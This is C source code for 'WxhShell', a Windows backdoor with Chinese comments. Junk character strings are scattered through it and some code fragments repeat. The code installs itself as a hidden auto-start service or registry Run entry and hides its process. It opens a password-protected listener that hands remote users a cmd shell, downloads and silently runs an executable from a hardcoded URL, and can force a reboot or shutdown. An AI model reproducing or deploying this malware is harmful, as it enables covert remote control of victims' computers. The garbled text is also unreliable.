Ujw %HhBt5w g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pN,u`[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +N]J5Ve-`t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +WZX.D k`cfG\;r if (!NtQueryInformationProcess) return 0; ^L,K& Jd =bAx,,D# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]"pVj6O if(!hProcess) return 0; }g@v`5 dUD[e,? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WSPI|#Xr% "syI#U{ CloseHandle(hProcess); n.}Zk G0` 7RQR)DG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "-E\[@/ if(hProcess==NULL) return 0; &.F4b~A7 `{8K.(])s! HMODULE hMod; 1;* cq char procName[255]; <q)# unsigned long cbNeeded; K$z2YJ% DVO.FTV^` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j\ZXG=j b3P+H r CloseHandle(hProcess); Yz9owe8}[ !@5 9) if(strstr(procName,"services")) return 1; // 以服务启动 x
o;QCOH ;t)3F return 0; // 注册表启动 qfX6TV5J}! } 44J]I\+ Mg+2.
8% // 主模块 A_rGt?i int StartWxhshell(LPSTR lpCmdLine) i[i4h"$0 { 8u"U1 SOCKET wsl; 6u?>M9 BOOL val=TRUE; E[OJ+ ;c int port=0; 1Te%F+7 struct sockaddr_in door; !OZy7 9FF0%*tGo if(wscfg.ws_autoins) Install(); 2V]UJ< #j;^\rSv- port=atoi(lpCmdLine); &Hrj3E >e
lJkq| if(port<=0) port=wscfg.ws_port; )J=! L\ D2#ZpFp"h WSADATA data; V( }:=eK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6]i-E>p3R S*pGMuui if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xa[.3=bV? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y4yhF8E>;U door.sin_family = AF_INET; ^"E^zHM( door.sin_addr.s_addr = inet_addr("127.0.0.1"); UB@Rs|) door.sin_port = htons(port); 9p85Pv [M= )w em|:H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rDtY[ closesocket(wsl); K&u_R
return 1; JhYe6y[q } Z<oaK *9
{PEx if(listen(wsl,2) == INVALID_SOCKET) { MyOd,vU closesocket(wsl); DmK57V4L^ return 1; Nd4f^Y } ]dVGUG8 Wxhshell(wsl); 4>YR{ WSACleanup(); ]U?^hZ_ <(#(hDwy return 0; 39c2pV[ *YI98 } yHYsZ,GE #Bze,?@ // 以NT服务方式启动 I]|Pq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oE@a'*.\ { 3l]lwV DWORD status = 0; 'B$yo] DWORD specificError = 0xfffffff; AhN4mc@ _1X!EH" serviceStatus.dwServiceType = SERVICE_WIN32; '$Dn serviceStatus.dwCurrentState = SERVICE_START_PENDING; +D6YR$_< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ';k5?^T serviceStatus.dwWin32ExitCode = 0; PxX4[ P serviceStatus.dwServiceSpecificExitCode = 0; LG0;#3YwH serviceStatus.dwCheckPoint = 0; $V;i
'(&7 serviceStatus.dwWaitHint = 0; MBK^FR-K /A\8 mL8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !"e5h`/ADM if (hServiceStatusHandle==0) return; B^=-Z8 t3WiomNCc status = GetLastError(); .N;=\C* if (status!=NO_ERROR) :]K4KFM { cdH>n) serviceStatus.dwCurrentState = SERVICE_STOPPED; E,Z$pKL? serviceStatus.dwCheckPoint = 0; XTs8s12 serviceStatus.dwWaitHint = 0; q_lKKzA serviceStatus.dwWin32ExitCode = status;
Q>qUk@ serviceStatus.dwServiceSpecificExitCode = specificError; t|?ez4/{z SetServiceStatus(hServiceStatusHandle, &serviceStatus); j a[Et/r return; @/~omg}R } r wL`Czs 1dY}\Sp serviceStatus.dwCurrentState = SERVICE_RUNNING; PN%zIkbo serviceStatus.dwCheckPoint = 0; ^S<Y>Nm] serviceStatus.dwWaitHint = 0; ho{*Cjv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DPY}?dC } YRk(u7:0 D>r&}6< // 处理NT服务事件,比如:启动、停止 &A/]pi-\ VOID WINAPI NTServiceHandler(DWORD fdwControl) 0q { wSL}`C gU switch(fdwControl) O^PKn_OJ { G&SB- case SERVICE_CONTROL_STOP:
x^qVw5{n serviceStatus.dwWin32ExitCode = 0; eu|YCYj)g serviceStatus.dwCurrentState = SERVICE_STOPPED; OF>mF~ serviceStatus.dwCheckPoint = 0; 2>9C-VL2 serviceStatus.dwWaitHint = 0; hF?1y `20 { 1#g2A0U, SetServiceStatus(hServiceStatusHandle, &serviceStatus); L&8~f] } jwe *(k]z return; lgAoJ[ case SERVICE_CONTROL_PAUSE: 5<k"K^0QS serviceStatus.dwCurrentState = SERVICE_PAUSED; ~\SGb_2 break; OnziG+ak case SERVICE_CONTROL_CONTINUE: $p8xEcQdU# serviceStatus.dwCurrentState = SERVICE_RUNNING; T~?Ff|qFC break; ' {OgN}'{ case SERVICE_CONTROL_INTERROGATE: T"Y+m-<% break; v~+(GqR=+ }; g'f@H-KCD SetServiceStatus(hServiceStatusHandle, &serviceStatus); tIi&;tw] } BR_1MG'{)$ Z#jZRNU%ox // 标准应用程序主函数 68|E9^`l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iU918!!N { LP^$AAy z
kP_6T09 // 获取操作系统版本 f5"k55 } OsIsNt=GetOsVer(); )}R0Y=e GetModuleFileName(NULL,ExeFile,MAX_PATH); ~NgA ]! &FKy // 从命令行安装 BZ#(
if(strpbrk(lpCmdLine,"iI")) Install(); Y Uc+0 pad*oPH, // 下载执行文件 gaxsv[W>^ if(wscfg.ws_downexe) { P8
c`fbkX2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2DrM3ZU8 WinExec(wscfg.ws_filenam,SW_HIDE); 9=M$AB } ;+_:,_ YqD=>P[O if(!OsIsNt) { ^e5=hH-% // 如果时win9x,隐藏进程并且设置为注册表启动 |i*37r6]= HideProc(); u#fM_>ML StartWxhshell(lpCmdLine); /62!cp/F/D } ,KZ~?3$yj else !n!*/[}X if(StartFromService()) 8nqG<!,q // 以服务方式启动 s[*rzoA StartServiceCtrlDispatcher(DispatchTable); .sW|Id ) else ODN/G%l // 普通方式启动 Wb_J(!da StartWxhshell(lpCmdLine); ~_)^X @;4zrzQi7 return 0; <}Vrl`?h } 7+cO_3AB C&f=
ywi0 s^TZXCyF o Wi<m{.%\E =========================================== =s{> Fsm1 *Q.>-J<S >uB?rGcM CW K7wZM uZYF(Yu iyE7V_O T " Q*cf( I{&[[7H #include <stdio.h> v~C
Czg #include <string.h> :4w ?# #include <windows.h> A@('pA85 #include <winsock2.h> 3&4(ZH= #include <winsvc.h> S+6.ZZ9c #include <urlmon.h> M0"_^? y<3-?}.aZ #pragma comment (lib, "Ws2_32.lib") e{H=dIa+ #pragma comment (lib, "urlmon.lib") V &T~zh1 MJ)RvNF #define MAX_USER 100 // 最大客户端连接数
8W7J3{d #define BUF_SOCK 200 // sock buffer 3M`M #define KEY_BUFF 255 // 输入 buffer v/plpNVp> >6-`}G+| #define REBOOT 0 // 重启 hfB%`x#akQ #define SHUTDOWN 1 // 关机 .V<+v-h 3 \,4 ]l|
#define DEF_PORT 5000 // 监听端口 7EEl+;wK LOYk9m #define REG_LEN 16 // 注册表键长度 G!##X: 6' #define SVC_LEN 80 // NT服务名长度 6|=f$a +=h:Vb8 // 从dll定义API $HzBD.CF|x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =XQ%t
@z0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RP|`HkP-2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DCa^
u'f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -i|}m++ Gz0]}]A // wxhshell配置信息 IP pN@ struct WSCFG { y.k~Y0 int ws_port; // 监听端口 8Fh)eha9f char ws_passstr[REG_LEN]; // 口令 ^7*11%Q int ws_autoins; // 安装标记, 1=yes 0=no >Tx?%nQ char ws_regname[REG_LEN]; // 注册表键名 TX/Xt7#R: char ws_svcname[REG_LEN]; // 服务名 |e&\<LwsP char ws_svcdisp[SVC_LEN]; // 服务显示名 3}1u\(Mf char ws_svcdesc[SVC_LEN]; // 服务描述信息 y^*~B(T{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %;'s4ly int ws_downexe; // 下载执行标记, 1=yes 0=no .{^5X)
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^\% (,KNo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8,%^
M9zBP 2,F.$X }; ;(%QD
3 > @HC Vmg: // default Wxhshell configuration ~~P5k: struct WSCFG wscfg={DEF_PORT, kTB0b*V "xuhuanlingzhe", Om@;J%u/ 1, 5DZ#9m/ "Wxhshell", gD?l-RT> "Wxhshell", $PPi5f}HD "WxhShell Service", Zi
i "Wrsky Windows CmdShell Service", sP~<*U.7 "Please Input Your Password: ", j$:~Rek 1, 00y!K
m_D "http://www.wrsky.com/wxhshell.exe", w9imKVry "Wxhshell.exe" q`-N7 ,$T }; 33q}CzK ^
@5QP$. // 消息定义模块 3d]S!=4H" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *fxG?}YT char *msg_ws_prompt="\n\r? for help\n\r#>"; 0d&6lqTo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NI]N4[8( char *msg_ws_ext="\n\rExit."; aXYY:; char *msg_ws_end="\n\rQuit."; Y.UFbrv char *msg_ws_boot="\n\rReboot..."; 'H!Uh]! char *msg_ws_poff="\n\rShutdown..."; ,4$>,@WW~ char *msg_ws_down="\n\rSave to "; 0OE:[pR x9g#<2w8 char *msg_ws_err="\n\rErr!"; X_h}J=33Q char *msg_ws_ok="\n\rOK!"; cT,sh~-x, {tZ.v@ char ExeFile[MAX_PATH]; m
s\} int nUser = 0; {\5 HANDLE handles[MAX_USER]; =T@1@w int OsIsNt;
)10+@d # W']6'O SERVICE_STATUS serviceStatus; 0~S^Y1hH SERVICE_STATUS_HANDLE hServiceStatusHandle; \b x$i* kJ}`V // 函数声明 ~0$&3a<n1 int Install(void); FZlWsp= int Uninstall(void); oc`H}Wvn int DownloadFile(char *sURL, SOCKET wsh); F41=b4/ int Boot(int flag); 3 0H?KAV void HideProc(void); ,"ZMRq int GetOsVer(void); ?a5! H*, int Wxhshell(SOCKET wsl); T5h
H void TalkWithClient(void *cs); 4[eXe$ int CmdShell(SOCKET sock); K%oG,-wdg int StartFromService(void); _D tV int StartWxhshell(LPSTR lpCmdLine); bG#>uE J- 5j(k:a+!H VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~>|ziHx VOID WINAPI NTServiceHandler( DWORD fdwControl ); .q>iXE_c Lf&kv7Wj // 数据结构和表定义 $&td=OK SERVICE_TABLE_ENTRY DispatchTable[] = e"<OELA { L0o\J` : {wscfg.ws_svcname, NTServiceMain}, GTd,n= {NULL, NULL} ":ue-=&M }; MTn{d (<9u-HF# // 自我安装
8A#;WG int Install(void) 4hj|cCrO { =^?/+p8k char svExeFile[MAX_PATH]; 4pvMd HKEY key; hgq;`_;1, strcpy(svExeFile,ExeFile); 0=YI@@n) qE"OB // 如果是win9x系统,修改注册表设为自启动 fJg+ Ryo if(!OsIsNt) { H:|uw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9'B `]/L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |BXg/gW RegCloseKey(key); Zh~'9 JH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2^7`mES RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h376Be{P RegCloseKey(key); <hyKu
return 0; TLH1>pY& } eR>oq, } Bzf^ivT3L } I?CZQ+}Hq else { i
ct]) H5|;{q:j // 如果是NT以上系统,安装为系统服务 Pm7}"D'/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tw@X>
G1z if (schSCManager!=0) PJ#,2=n~ { ~n_HP_Kf? SC_HANDLE schService = CreateService e0 ecD3 ( UN#S;x* schSCManager, TWTb?HP wscfg.ws_svcname, ?@x/E& wscfg.ws_svcdisp, :A;RH SERVICE_ALL_ACCESS, i%?* @uj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YmG("z SERVICE_AUTO_START, $`8wJf9@w SERVICE_ERROR_NORMAL, {qVZNXDn svExeFile, LS[]=Mk@1 NULL, h(DTa NULL, QT}tvm@PMq NULL, <P<z N~i9j NULL, 5^ Zg>I NULL V7/Rby Q ); 8ao _i=&x if (schService!=0) UiNP3TJ'L { *T1_;4i CloseServiceHandle(schService); 6y<EgYzdE CloseServiceHandle(schSCManager); uxz^/Gk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y]a@j! strcat(svExeFile,wscfg.ws_svcname); %C]>9." if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fr-SvsNFB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7tp36 TE RegCloseKey(key); p#tI;"\y return 0; 4,ag(^}= } zt%Mx>V@ } z$sGv19pB CloseServiceHandle(schSCManager); cMIEtK` } ALHIGJW:6$ } 8P`"M#fI eMzk3eOJ return 1; 5)40/cBe } 46;uW{EY 5h*p\cl!Y // 自我卸载 {;oPLr+Z int Uninstall(void) J}t%p(mb { :(%5:1W HKEY key; lTsjxw
o <UCl@5g& if(!OsIsNt) { dh\P4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =(^3}x
RegDeleteValue(key,wscfg.ws_regname); +7}]E1Uf RegCloseKey(key); j<$2hiI/?& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l,).p RegDeleteValue(key,wscfg.ws_regname); HaYo!.(Fv RegCloseKey(key); 2<3K3uz return 0; !R$`+wZ62 } \)e'`29; } d;>QhoiL } qQa}wcU'9p else { :6dxtl/{b: p
ll)Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $[|mGae if (schSCManager!=0) *1"+%Z^ { =~gvZV-< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a'T;x`b8U, if (schService!=0) +C)~bb* { /wv0i3_e
if(DeleteService(schService)!=0) { <3
uNl CloseServiceHandle(schService); ~#/ CloseServiceHandle(schSCManager); VU#7%ufu& return 0; jiGTA:v } EM_d8o)`B CloseServiceHandle(schService); gM]:Ma } !u hT CloseServiceHandle(schSCManager); Gm`8q}<I } .)3 <Q}> } TqQ[_RKg2 ^z\cyT%7t return 1; Nboaf } OTv) \7_y%HR // 从指定url下载文件 {RPI]DcO/ int DownloadFile(char *sURL, SOCKET wsh) V[V[~;Py { {..6>fS HRESULT hr; Ul# r char seps[]= "/"; 3' 'me char *token; IGgL7^MF char *file; ,: ^u-b| char myURL[MAX_PATH]; {{1G`;|v9 char myFILE[MAX_PATH]; =MWHJ'3-/ 3c%caK strcpy(myURL,sURL); g2]Qv@nxw token=strtok(myURL,seps); u@444Vzg while(token!=NULL) `@%LzeGz { X-/]IHDN file=token; 3U}%2ARo_ token=strtok(NULL,seps); ^f@=:eWI } [><Tm\(: Lj7AZ|k GetCurrentDirectory(MAX_PATH,myFILE); 3$/IC@+ strcat(myFILE, "\\"); ';"VDLb3 strcat(myFILE, file); MOC/KNb send(wsh,myFILE,strlen(myFILE),0); YZ7.1`8 send(wsh,"...",3,0); z!\*Y
=e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r|Z{-*` if(hr==S_OK) w(F%^o\ return 0; 0}9h]X' else sq]F;=[5 return 1; <Z$J<]I 9u_Pj2%56. } 8EY:tzw (%9$! v{3 // 系统电源模块 vD4*&|8T# int Boot(int flag) k=^xVQuI { (5~h"s HANDLE hToken; 1x^GWtRp TOKEN_PRIVILEGES tkp; !m$jk2< ,,TnIouy if(OsIsNt) { $Q0n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 31)&vf[[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fy$1YI>!Q tkp.PrivilegeCount = 1; Kpp_|2|@< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y*hCMy; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h];I{crh if(flag==REBOOT) { S>{~nOYt-` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =c7;r]Ol return 0; n !(F, b } /RF7j; else { ce(#2o&` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ca\6vR return 0; w
= KPT''! } %)n=x
ne } Ho%CDz
z else { +[P{&\d4} if(flag==REBOOT) { "#48% -'x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 11lsf/IP return 0; D{!IW!w } xC?h2hIt else { <GsuZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e(yh[7p= return 0; n`KY9[0U= } @pxcpXCy } G&dKY h\ KSL`W2} return 1; g .\[o@H } 8i pez/ f 1d?.) // win9x进程隐藏模块
bZ6+,J void HideProc(void) > P)w?:k { r=4eP(w= @WB@]-+J
T HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nP$9CA if ( hKernel != NULL ) ElXFeJ%[G { c%&>p|| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IK]d3owA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H>C=zo,oiC FreeLibrary(hKernel); \Cj B1]I } 7d vnupLh Uz7<PLxd return; )X!,3Ca{43 } P* o9a t^L]/$q // 获取操作系统版本 5X+A"X
;C int GetOsVer(void) K%d&EYoW] { 0aAoV0fMDz OSVERSIONINFO winfo; 2?x4vI
np; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H#&00 Q[ GetVersionEx(&winfo); Lr<cMK< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U~8g_* return 1; `2snz1>!j else u&NV,6Fj2[ return 0; y)pk6d } }M+7T\J! M?qy(zb // 客户端句柄模块 $u.z*b_yy int Wxhshell(SOCKET wsl) D]}G.v1 { Yz b XuJ4 SOCKET wsh; .u:GjL'$ struct sockaddr_in client; a
=QCp4^ DWORD myID; kP"9&R`E 7L??ae while(nUser<MAX_USER) ]-q;4. { #F#%`Rv1 int nSize=sizeof(client); A's{j7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g){<y~Mk if(wsh==INVALID_SOCKET) return 1; RZ7@cQY
>/|*DI-HJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uv.)?YeGh if(handles[nUser]==0) 40/Y\ closesocket(wsh); %LV9=!w else ..qCPlK; nUser++; YMgNzu } G?ZXWu. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); weQ_*<5% 8RX&k return 0; uS-|wYE } 2?5>o!C q@qsp&0/ // 关闭 socket /ouPg=+Nl void CloseIt(SOCKET wsh) e!Hh s/&!T { P%6~&woF closesocket(wsh); :
'c&,oLY nUser--; i$@:@&(~Y ExitThread(0); rc{v$.o0 } yLGRi^d# N$DkX)Z // 客户端请求句柄 VnzZTGs void TalkWithClient(void *cs) d@^ZSy>L2 { /mMV{[ Q@niNDaW2 SOCKET wsh=(SOCKET)cs; g{Rd=1SK] char pwd[SVC_LEN]; ;r8X.>P* char cmd[KEY_BUFF]; n ;Ei\\p! char chr[1]; U17d>]ka int i,j; ~zgGa:uU 7"##]m. while (nUser < MAX_USER) { ?CZd Ol %;/P&d/ if(wscfg.ws_passstr) { ?(PKeq6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g\U-VZ6;p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -12U4h<e //ZeroMemory(pwd,KEY_BUFF); a}d@
T i=0; d1*<Ll9K while(i<SVC_LEN) { I*&8^r:A "8/,Y"W" // 设置超时 qLCR] _* fd_set FdRead; N;d] 14| struct timeval TimeOut; u y+pP!< FD_ZERO(&FdRead); ~?dI*BZ)] FD_SET(wsh,&FdRead); v^iAD2X/F TimeOut.tv_sec=8; : +u]S2u{ TimeOut.tv_usec=0; &L:!VL{I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GVz6-T~\> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FlQGgVN D@KlOU{< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \!(zrfP{( pwd=chr[0]; LscGTs, if(chr[0]==0xd || chr[0]==0xa) { 5s XXM pwd=0; 5tnlrqC break; lFkR=!?= } 0%B/,/PxD i++; CAlCDfKW} } us.~G +_`7G^U?% // 如果是非法用户,关闭 socket vIvIfE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y@v>FlqI{ } +mPx8P&% -/4P3SG/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kq!3wb; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }b}m3i1 jCY%| while(1) { vX>)je5# {I((p_ ZeroMemory(cmd,KEY_BUFF); _GPe<H <%^&2UMg // 自动支持客户端 telnet标准 FwK]$4* j=0; xLE)/}y_7H while(j<KEY_BUFF) { ,+VGSd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7^Uv7<pw cmd[j]=chr[0]; SJLis"8 if(chr[0]==0xa || chr[0]==0xd) { >!JS:5| cmd[j]=0; 3%6?g* break; zCA2X
!7F } [Pp'Ye~K@c j++; k+/6$pI } 46x'I( yauvXosX // 下载文件 [UR-I0 s!/ if(strstr(cmd,"http://")) { @iiT< send(wsh,msg_ws_down,strlen(msg_ws_down),0); hoP]9&<T if(DownloadFile(cmd,wsh)) /
1RpM]d send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Y!a6h+ else VUc%4U{Cti send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ("@!>|H } R_KH"`q else { LeQjvW9y "Q<MS'a switch(cmd[0]) { VTM/hJmwJ FmW(CGs // 帮助 W_=f'yb:E case '?': { }bDm@NU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bcyzhK= break; 1 zZlC#V } ]5O~+Nf // 安装 =]t|];c% case 'i': { GyIV
Hby if(Install()) gR**@t=;j send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXo|.!P=3 else #E?4E1bnB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,hCvm break; mw!F{pw } M:8R-c#![ // 卸载 `uFdwO'DD case 'r': { {ax:RUQxy if(Uninstall()) wJ]d&::@h send(wsh,msg_ws_err,strlen(msg_ws_err),0); oDR%\VY6T else \bF{-" 7. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|*m$|$, break; [
3Gf2_ } 7_L;E~\ // 显示 wxhshell 所在路径 RN1_S case 'p': { ig!+2g char svExeFile[MAX_PATH]; _#niyW+?~ strcpy(svExeFile,"\n\r"); do%&m]#; strcat(svExeFile,ExeFile); IPk4
;, send(wsh,svExeFile,strlen(svExeFile),0); .H|-_~Yx| break; $`c:& } j.Hf/vi`z // 重启 +0&/g&a\R case 'b': { "[k3kAm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #R"*c
hLV if(Boot(REBOOT)) p ?!/+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xAr\gu else { 8mMQ[#0:} closesocket(wsh); Uly ue ExitThread(0); =&]L00u. } ^#$n~]s break; Wri<h:1 } VRMXtQ*1Dm // 关机 pb}*\/s case 'd': { &HW9Jn send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KwS@D9bok if(Boot(SHUTDOWN)) tc! #wd+u send(wsh,msg_ws_err,strlen(msg_ws_err),0); uYN`:b8 else { WLT"ji0w2 closesocket(wsh); TxD#9]Q` ExitThread(0); *p U x8yB } | (93gJ break; vQCy\Gi } }j%5t ~Qa // 获取shell \85i+q:LuA case 's': { " x-j~u? CmdShell(wsh); TDh5lI
closesocket(wsh); N['.BN ExitThread(0); tA;}h7/Lc~ break; ;`&kZi60Hz } YWLj?+ // 退出 wp_0+$?s case 'x': { Upe%rC( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u_enqC3 CloseIt(wsh); ?
t|[? break; nUO0Ce } 2ESo2 // 离开 ]DcFySyv case 'q': { HtFDlvdy] send(wsh,msg_ws_end,strlen(msg_ws_end),0); RP"kC4~1 closesocket(wsh); aOp\91
WSACleanup(); wT@og|M exit(1); icgfB-1|i break; b9krOe*j } S'" Df5 } 6Oq7#3] } UNYqft4 #e"[^_C@! // 提示信息 "sTRS* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )8AXm } @]j1:PN-
} A"]YM'. f#;> g return; iTwm3V
P } ;pAK_> >7|VR:U?B // shell模块句柄 ;p//QJB9 int CmdShell(SOCKET sock) _)8s'MjA:& { jp,4h4C^) STARTUPINFO si; K0~rN.C!0 ZeroMemory(&si,sizeof(si)); Hs8>anVo[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &yg|t5o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V!Uc( PROCESS_INFORMATION ProcessInfo; 6m93puY`7 char cmdline[]="cmd"; K1KreYlF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]kSG R return 0; L0,'mS } 2G7Wi!J &d!GImcxQ // 自身启动模式 b}`TLn int StartFromService(void) [JiH\+XLPs { <I?Zk80 typedef struct 7.Op< { <E~'.p, DWORD ExitStatus; X'srL j. DWORD PebBaseAddress; dV_G1' DWORD AffinityMask; ?`s8 pPc4 DWORD BasePriority; e6*8K@LHB ULONG UniqueProcessId; _>+Ld6.T6 ULONG InheritedFromUniqueProcessId; lxx2H1([ } PROCESS_BASIC_INFORMATION; RZLq]8pM 3fj4%P" PROCNTQSIP NtQueryInformationProcess; vXs"Dst tmq OJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?s01@f# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [,Gg^*umS `yyG/l HANDLE hProcess; 6x`t{g]f, PROCESS_BASIC_INFORMATION pbi; K+eM [0!( xp^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 01]f2.5 if(NULL == hInst ) return 0; Z@HEj_n [txE .7p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j#|ZP-=1_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -@'FW*b NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q9"96({\@ i1UsIT if (!NtQueryInformationProcess) return 0; e'~3oqSvR Q,g\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E GU2fA7x if(!hProcess) return 0; ytImB`'\ 5m@V#2^P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )lkjqFQ( #a#F,ZT CloseHandle(hProcess); KlEpzJ98 2y4bwi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sJZiI}Xc if(hProcess==NULL) return 0; f*Hr^b}`8 z{
